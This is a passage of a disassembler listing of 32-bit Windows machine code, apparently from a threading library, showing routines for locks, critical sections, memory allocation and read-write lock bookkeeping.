sub_4313A0+7j mov eax, 1 retn sub_4313A0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_431410: ; CODE XREF: ___:00402239j push ecx push esi push offset dword_50E9A0 xor esi, esi call near ptr 7C901005h nop mov eax, dword_50E3E0 test eax, eax mov [esp+4], eax jz short loc_43144E loc_43142C: ; CODE XREF: ___:0043144Cj test esi, esi jnz short loc_43144E lea eax, [esp+4] push eax call sub_401604 mov ecx, [esp+8] mov esi, eax add esp, 4 mov eax, [ecx+18h] test eax, eax mov [esp+4], eax jnz short loc_43142C loc_43144E: ; CODE XREF: ___:0043142Aj ; ___:0043142Ej push offset dword_50E9A0 nop call near ptr 7C9010EDh mov eax, esi pop esi neg eax sbb eax, eax and eax, 0Bh pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431490 proc near ; CODE XREF: sub_4012B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_4314A9 mov eax, [eax] test eax, eax jz short loc_4314A9 cmp dword ptr [eax], 0C4C0FFEEh jnz short loc_4314A9 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4314A9: ; CODE XREF: sub_431490+6j ; sub_431490+Cj ... mov eax, 1 retn sub_431490 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4314C0 proc near ; CODE XREF: sub_401320j mov eax, dword_50E3D4 test eax, eax jz short loc_4314CF mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4314CF: ; CODE XREF: sub_4314C0+7j push 0 push offset dword_50E3D8 mov dword_50E3D4, 1 call sub_4015FF add esp, 8 test eax, eax jnz short loc_4314FE push eax push offset dword_50E3DC call sub_4015FF add esp, 8 test eax, eax jz short loc_431503 loc_4314FE: ; CODE XREF: sub_4314C0+2Aj call sub_40163B loc_431503: ; CODE XREF: sub_4314C0+3Cj push esi mov esi, dword_50F85C push offset dword_50E8E0 call esi push offset dword_50E940 call esi push offset dword_50E9A0 call esi push offset dword_50E920 call esi push offset dword_50E980 call esi push offset dword_50E960 call esi mov eax, dword_50E3D4 pop esi retn sub_4314C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431560 proc near ; CODE XREF: sub_40163Bj mov eax, dword_50E3D4 test eax, eax jz locret_431619 mov eax, dword_50E3D8 test eax, eax jz short loc_431589 push eax call sub_401AA0 add esp, 4 mov dword_50E3D8, 0 loc_431589: ; CODE XREF: sub_431560+14j mov eax, dword_50E3DC test eax, eax jz short loc_4315A5 push eax call sub_401AA0 add esp, 4 mov dword_50E3DC, 0 loc_4315A5: ; CODE XREF: sub_431560+30j push esi push offset dword_50E8E0 call near ptr 7C901005h nop mov eax, dword_44573C cmp eax, 1 jz short loc_4315D3 push edi mov edi, dword_50FAC4 loc_4315C2: ; CODE XREF: sub_431560+70j mov esi, [eax+8] push eax call edi add esp, 4 cmp esi, 1 mov eax, esi jnz short loc_4315C2 pop edi loc_4315D3: ; CODE XREF: sub_431560+59j push offset dword_50E8E0 call near ptr 7C9010EDh nop mov esi, dword_50F858 push offset dword_50E960 call esi push offset dword_50E980 call esi push offset dword_50E920 call esi push offset dword_50E9A0 call esi push offset dword_50E940 call esi push offset dword_50E8E0 call esi mov dword_50E3D4, 0 pop esi locret_431619: ; CODE XREF: sub_431560+7j retn sub_431560 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_431650: ; CODE XREF: ___:loc_401B95j push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+8] push esi push edi push eax mov esi, [eax] mov ecx, [eax+4] mov edx, [eax+8] mov [ebp-4], esi mov [ebp-0Ch], ecx mov [ebp-8], edx call near ptr 77C2C21Bh nop mov eax, dword_50E3D8 push esi push eax call sub_4020DB ; --------------------------------------------------------------------------- mov dword ptr [esi+0Ch], 1 add esi, 3Ch push 0 push esi call sub_436A5C ; --------------------------------------------------------------------------- mov edi, [ebp-4] add esp, 14h test eax, eax jnz short loc_4316AC mov ecx, [ebp-8] push ecx call dword ptr [ebp-0Ch] add esp, 4 mov [edi+14h], eax mov esi, eax jmp short loc_4316B8 ; --------------------------------------------------------------------------- loc_4316AC: ; CODE XREF: ___:00431699j dec eax jz short loc_4316B5 dec eax or esi, 0FFFFFFFFh jmp short loc_4316B8 ; --------------------------------------------------------------------------- loc_4316B5: ; CODE XREF: ___:004316ADj mov esi, [edi+14h] loc_4316B8: ; CODE XREF: ___:004316AAj ; ___:004316B3j cmp dword ptr [edi+20h], 1 jnz short loc_4316D7 call sub_4017C1 push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4316D7: ; CODE XREF: ___:004316BCj push edi call sub_40131B add esp, 4 push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431730 proc near ; CODE XREF: sub_4017ADj var_84 = byte ptr -84h var_80 = dword ptr -80h var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 sub esp, 84h push ebx mov ebx, [esp+88h+arg_0] test ebx, ebx push esi jz short loc_4317AA lea esi, [ebx+2Ch] push edi push esi call sub_402225 push esi mov dword ptr [ebx+0Ch], 5 call sub_4010C3 push ebx call sub_40131B mov ecx, 21h mov esi, ebx lea edi, [esp+9Ch+var_84] push ebx rep movsd call sub_401BBD mov eax, [esp+0A0h+var_4C] mov esi, dword_50F8D8 add esp, 10h test eax, eax pop edi jz short loc_431788 push eax call esi loc_431788: ; CODE XREF: sub_431730+53j lea eax, [esp+8Ch+var_58] push eax call sub_40222F mov eax, [esp+90h+var_80] add esp, 4 test eax, eax jz short loc_4317AA test [esp+8Ch+var_8], 1 jnz short loc_4317AA push eax call esi loc_4317AA: ; CODE XREF: sub_431730+11j ; sub_431730+6Bj ... pop esi pop ebx add esp, 84h retn sub_431730 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4317F0 proc near ; CODE XREF: sub_401DC5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push 14h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_431811 pop edi pop esi pop ebp mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_431811: ; CODE XREF: sub_4317F0+15j mov edi, [esp+10h+arg_8] mov ebp, [esp+10h+arg_4] mov dword ptr [esi], 0FFFFFFFFh mov [esi+4], ebp lea ebx, [edi+8] mov [esi+8], edi push ebx call sub_402225 add esp, 4 mov [esp+10h+arg_4], eax test eax, eax jz short loc_431852 push esi call sub_40222F push esi nop call near ptr 77C2C21Bh mov eax, [esp+18h+arg_4] add esp, 8 pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431852: ; CODE XREF: sub_4317F0+47j mov eax, [edi+0Ch] push ebx mov [esi+10h], eax mov [edi+0Ch], esi call sub_4010C3 add esp, 4 test ebp, ebp jz short loc_431877 mov ecx, [ebp+80h] mov [esi+0Ch], ecx mov [ebp+80h], esi loc_431877: ; CODE XREF: sub_4317F0+76j mov edx, [esp+10h+arg_0] pop edi xor eax, eax mov [edx], esi pop esi pop ebp pop ebx retn sub_4317F0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4318C0 proc near ; CODE XREF: sub_40105Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_4318E7 mov eax, [esi+8] test eax, eax jnz short loc_4318E7 mov eax, [esi+4] test eax, eax jnz short loc_4318E7 push esi call sub_40222F push esi call near ptr 77C2C21Bh nop add esp, 8 loc_4318E7: ; CODE XREF: sub_4318C0+7j ; sub_4318C0+Ej ... pop esi retn sub_4318C0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431900 proc near ; CODE XREF: sub_40131Bj arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push esi jz short loc_43196D mov esi, [ebx+80h] test esi, esi jz short loc_43196D push edi loc_431915: ; CODE XREF: sub_431900+6Aj push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_431968 mov edi, [esi+8] test edi, edi jz short loc_431943 push edi call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_431943 mov edi, [edi+4] test edi, edi jz short loc_431943 push eax loc_43193E: ; CODE XREF: ___:004319B7j call edi add esp, 4 loc_431943: ; CODE XREF: sub_431900+27j ; sub_431900+34j ... mov eax, [esi+0Ch] mov dword ptr [esi+4], 0 push esi mov [ebx+80h], eax call sub_4010C3 push esi call sub_40105F mov esi, [ebx+80h] add esp, 8 loc_431968: ; CODE XREF: sub_431900+20j test esi, esi jnz short loc_431915 pop edi loc_43196D: ; CODE XREF: sub_431900+8j ; sub_431900+12j pop esi pop ebx retn sub_431900 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431990 proc near ; CODE XREF: sub_401DD4j mov eax, dword_50E3D8 push ebx push edi push eax call sub_401190 sub_431990 endp ; --------------------------------------------------------------------------- db 8Bh, 5Ch, 24h ; --------------------------------------------------------------------------- adc [ebx-47CFB3Ch], al add cl, [ebx-7CF28B08h] sti add [eax+ecx+6Ah], esi add [eax-7F7B3918h], edx ja short loc_43193E push dword ptr [esi+eax-0Ah] inc edi jl short near ptr loc_4319C0+1 loc_4319C0: ; CODE XREF: ___:004319BEj jz short loc_4319E5 push esi mov eax, ebx xor esi, esi dec eax jz short loc_4319D2 dec eax jnz short loc_4319D5 or esi, 0FFFFFFFFh jmp short loc_4319D5 ; --------------------------------------------------------------------------- loc_4319D2: ; CODE XREF: ___:004319C8j mov esi, [edi+14h] loc_4319D5: ; CODE XREF: ___:004319CBj ; ___:004319D0j call sub_4017C1 push esi nop call near ptr 77C3A307h add esp, 4 pop esi loc_4319E5: ; CODE XREF: ___:loc_4319C0j push 1 call sub_401B0E ; --------------------------------------------------------------------------- dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h dd 8 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431A20 proc near ; CODE XREF: sub_401B0Ej arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_401122 sub_431A20 endp ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_431A3F loc_431A32: ; CODE XREF: ___:00431A3Dj push esi call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_431A32 loc_431A3F: ; CODE XREF: ___:00431A30j pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431A60: ; CODE XREF: ___:00401DDEj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431A80 proc near ; CODE XREF: sub_4012D0j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] lock cmpxchg [ecx], edx mov [ebp+var_4], eax pop edx pop ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_431A80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431AC0 proc near ; CODE XREF: sub_401C26j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 lea eax, [esp+8+var_4] lea ecx, [esp+8+var_8] push esi push eax push ecx xor esi, esi call near ptr 278098Ah nop push eax nop call near ptr 2740AD7h test eax, eax jz short loc_431B02 mov edx, [esp+0Ch+var_8] xor ecx, ecx mov eax, 1 loc_431AEC: ; CODE XREF: sub_431AC0+33j test eax, edx jz short loc_431AF1 inc ecx loc_431AF1: ; CODE XREF: sub_431AC0+2Ej shl eax, 1 jnz short loc_431AEC mov edx, [esp+0Ch+arg_0] mov eax, esi pop esi mov [edx], ecx add esp, 8 retn ; --------------------------------------------------------------------------- loc_431B02: ; CODE XREF: sub_431AC0+1Fj mov eax, 0Bh pop esi add esp, 8 retn sub_431AC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431B30 proc near ; CODE XREF: sub_40184Dj arg_0 = dword ptr 4 push esi push offset dword_50E980 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_431B64 push esi push ecx call sub_401F73 add esp, 8 mov esi, eax push offset dword_50E980 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431B64: ; CODE XREF: sub_431B30+17j test eax, eax jnz short loc_431B6D mov esi, 16h loc_431B6D: ; CODE XREF: sub_431B30+36j push offset dword_50E980 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431B30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431BA0 proc near ; CODE XREF: sub_401852j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+14h] lea ecx, [esi+4] neg eax push ecx mov [esi+0Ch], eax mov dword ptr [esi+14h], 0 call sub_4010C3 push esi call sub_4010C3 add esp, 8 pop esi retn sub_431BA0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431BE0 proc near ; CODE XREF: sub_401F73j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi xor esi, esi test eax, eax jnz short loc_431BF2 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_431BF2: ; CODE XREF: sub_431BE0+9j mov eax, [esp+4+arg_4] push ebx test eax, eax push edi jz short loc_431C12 cmp dword ptr [eax], 0 jz short loc_431C12 mov ecx, [esp+0Ch+arg_0] mov edi, 16h mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431C12: ; CODE XREF: sub_431BE0+1Aj ; sub_431BE0+1Fj push 1Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_431C36 mov ecx, [esp+0Ch+arg_0] mov edi, 0Ch mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431C36: ; CODE XREF: sub_431BE0+43j push 0 push esi mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov dword ptr [esi+14h], 0 call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_431C94 lea ebx, [esi+4] push eax push ebx call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_431C8B push eax lea eax, [esi+8] push eax call sub_401541 mov edi, eax add esp, 8 test edi, edi jz short loc_431CAC push ebx call sub_40222F add esp, 4 loc_431C8B: ; CODE XREF: sub_431BE0+8Dj push esi call sub_40222F add esp, 4 loc_431C94: ; CODE XREF: sub_431BE0+7Aj push esi call near ptr 77C2C21Bh nop mov ecx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431CAC: ; CODE XREF: sub_431BE0+A0j mov ecx, [esp+0Ch+arg_0] xor edi, edi mov eax, edi mov dword ptr [esi+18h], 0FACADE2h pop edi mov [ecx], esi pop ebx pop esi retn sub_431BE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_431D10: ; CODE XREF: ___:004018ACj mov eax, [esp+4] push ebx push ebp push esi push edi xor ebx, ebx xor edi, edi xor ebp, ebp test eax, eax jz loc_431E4B mov esi, [eax] test esi, esi jz loc_431E4B cmp esi, 0FFFFFFFFh jz loc_431E07 cmp dword ptr [esi+18h], 0FACADE2h jnz loc_431E4B push esi call sub_402225 add esp, 4 test eax, eax jnz loc_431E50 lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_431D79 push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431D79: ; CODE XREF: ___:00431D67j mov eax, [esi+10h] test eax, eax jg short loc_431DED mov eax, [esi+0Ch] mov ecx, [esi+14h] cmp eax, ecx jg short loc_431DED push edi mov dword ptr [esi+18h], 0 call sub_4010C3 add esp, 4 mov ebx, eax test ebx, ebx push esi jz short loc_431DB0 call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431DB0: ; CODE XREF: ___:00431D9Fj call sub_4010C3 add esp, 4 test eax, eax jnz loc_431E50 mov ecx, [esp+14h] lea edx, [esi+8] push edx mov [ecx], eax call sub_401A91 push edi mov ebx, eax call sub_40222F push esi mov edi, eax call sub_40222F push esi mov ebp, eax nop call near ptr 77C2C21Bh add esp, 10h jmp short loc_431E33 ; --------------------------------------------------------------------------- loc_431DED: ; CODE XREF: ___:00431D7Ej ; ___:00431D88j push edi call sub_4010C3 push esi mov ebx, eax call sub_4010C3 add esp, 8 mov edi, eax mov ebp, 10h jmp short loc_431E33 ; --------------------------------------------------------------------------- loc_431E07: ; CODE XREF: ___:00431D33j push offset dword_50E980 call near ptr 7C901005h nop mov eax, [esp+14h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_431E23 mov dword ptr [eax], 0 jmp short loc_431E28 ; --------------------------------------------------------------------------- loc_431E23: ; CODE XREF: ___:00431E19j mov ebx, 10h loc_431E28: ; CODE XREF: ___:00431E21j push offset dword_50E980 nop call near ptr 7C9010EDh loc_431E33: ; CODE XREF: ___:00431DEBj ; ___:00431E05j test ebx, ebx jz short loc_431E3E pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431E3E: ; CODE XREF: ___:00431E35j test edi, edi mov eax, edi jnz short loc_431E50 pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431E4B: ; CODE XREF: ___:00431D20j ; ___:00431D2Aj ... mov eax, 16h loc_431E50: ; CODE XREF: ___:00431D51j ; ___:00431DBAj ... pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_431EC0: ; CODE XREF: ___:00401E88j push esi push 4 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 test eax, eax jnz short loc_431EE3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_431EE3: ; CODE XREF: ___:00431ED2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F10: ; CODE XREF: ___:00401794j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_431F31 mov eax, [ecx] test eax, eax jz short loc_431F31 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431F31: ; CODE XREF: ___:00431F19j ; ___:00431F1Fj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F50: ; CODE XREF: ___:00401136j mov eax, [esp+4] test eax, eax jz short loc_431F6D mov eax, [eax] test eax, eax jz short loc_431F6D mov ecx, [esp+8] test ecx, ecx jz short loc_431F6D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_431F6D: ; CODE XREF: ___:00431F56j ; ___:00431F5Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F90: ; CODE XREF: ___:0040159Bj mov eax, [esp+4] test eax, eax jz short loc_431FBA mov ecx, [eax] test ecx, ecx jz short loc_431FBA mov eax, [esp+8] cmp eax, 1 jz short loc_431FAE test eax, eax jnz short loc_431FBA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_431FAE: ; CODE XREF: ___:00431FA5j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_431FBA: ; CODE XREF: ___:00431F96j ; ___:00431F9Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431FD0: ; CODE XREF: ___:00402077j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43208A mov eax, [esi] test eax, eax jz loc_43208A cmp eax, 0FFFFFFFFh jnz short loc_432004 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432004 cmp eax, 10h jnz loc_43208F loc_432004: ; CODE XREF: ___:00431FECj ; ___:00431FF9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43208A push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_43208F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43207D lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_43204D push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43204D: ; CODE XREF: ___:0043203Cj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43207D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43207D: ; CODE XREF: ___:0043202Aj ; ___:0043206Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43208A: ; CODE XREF: ___:00431FD9j ; ___:00431FE3j ... mov eax, 16h loc_43208F: ; CODE XREF: ___:00431FFEj ; ___:0043201Aj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4320E0: ; CODE XREF: ___:0040169Aj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_4321AF mov eax, [esi] test eax, eax jz loc_4321AF cmp eax, 0FFFFFFFFh jnz short loc_432114 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432114 cmp eax, 10h jnz loc_4321B4 loc_432114: ; CODE XREF: ___:004320FCj ; ___:00432109j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4321AF mov ebx, [esp+14h] push ebx push esi call sub_401BC2 add esp, 8 test eax, eax jnz short loc_4321B4 mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_4321A2 lea edi, [esi+4] push ebx push edi call sub_401BC2 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_432172 cmp ebx, 274Ch jnz short loc_432163 inc dword ptr [esi+14h] loc_432163: ; CODE XREF: ___:0043215Ej push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432172: ; CODE XREF: ___:00432156j mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_4321A2 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4321A2: ; CODE XREF: ___:00432143j ; ___:00432191j push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4321AF: ; CODE XREF: ___:004320E9j ; ___:004320F3j ... mov eax, 16h loc_4321B4: ; CODE XREF: ___:0043210Ej ; ___:00432133j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432200: ; CODE XREF: ___:004015C8j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_4322F6 mov eax, [esi] test eax, eax jz loc_4322F6 cmp eax, 0FFFFFFFFh jnz short loc_432237 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432237 cmp eax, 10h jnz loc_4322FB loc_432237: ; CODE XREF: ___:0043221Fj ; ___:0043222Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4322F6 push esi call sub_402225 add esp, 4 test eax, eax jnz loc_4322FB lea ebp, [esi+4] push ebp call sub_402225 mov edi, eax add esp, 4 test edi, edi jz short loc_43227B push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43227B: ; CODE XREF: ___:00432267j mov eax, [esi+10h] test eax, eax jnz short loc_4322EA mov eax, [esi+14h] test eax, eax jle short loc_432298 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_432298: ; CODE XREF: ___:00432287j mov eax, [esi+0Ch] test eax, eax jle short loc_4322EA neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401852 push eax call sub_401659 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_4322BB: ; CODE XREF: ___:004322D0j push ebp push ebx call sub_401203 mov edi, eax add esp, 8 test edi, edi jnz short loc_4322D2 mov eax, [esi+14h] test eax, eax jl short loc_4322BB loc_4322D2: ; CODE XREF: ___:004322C9j xor ecx, ecx test edi, edi setnz cl push ecx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_4322ED mov [esi+0Ch], edi loc_4322EA: ; CODE XREF: ___:00432280j ; ___:0043229Dj inc dword ptr [esi+10h] loc_4322ED: ; CODE XREF: ___:004322E5j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4322F6: ; CODE XREF: ___:0043220Cj ; ___:00432216j ... mov eax, 16h loc_4322FB: ; CODE XREF: ___:00432231j ; ___:00432251j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_432360: ; CODE XREF: ___:00401951j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_432461 mov eax, [esi] test eax, eax jz loc_432461 cmp eax, 0FFFFFFFFh jnz short loc_432397 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432397 cmp eax, 10h jnz loc_432466 loc_432397: ; CODE XREF: ___:0043237Fj ; ___:0043238Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_432461 mov edi, [esp+20h] push edi push esi call sub_401BC2 add esp, 8 test eax, eax jnz loc_432466 lea ebp, [esi+4] push edi push ebp call sub_401BC2 mov edi, eax add esp, 8 test edi, edi jz short loc_4323E1 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4323E1: ; CODE XREF: ___:004323CDj mov eax, [esi+10h] test eax, eax jnz short loc_432455 mov eax, [esi+14h] test eax, eax jle short loc_4323FE mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_4323FE: ; CODE XREF: ___:004323EDj mov eax, [esi+0Ch] test eax, eax jle short loc_432455 neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401852 push eax call sub_401659 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_432421: ; CODE XREF: ___:0043243Bj mov ecx, [esp+24h] push ecx push ebp push ebx call sub_4011E0 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_43243D mov eax, [esi+14h] test eax, eax jl short loc_432421 loc_43243D: ; CODE XREF: ___:00432434j xor edx, edx test edi, edi setnz dl push edx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_432458 mov [esi+0Ch], edi loc_432455: ; CODE XREF: ___:004323E6j ; ___:00432403j inc dword ptr [esi+10h] loc_432458: ; CODE XREF: ___:00432450j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_432461: ; CODE XREF: ___:0043236Cj ; ___:00432376j ... mov eax, 16h loc_432466: ; CODE XREF: ___:00432391j ; ___:004323B6j pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h 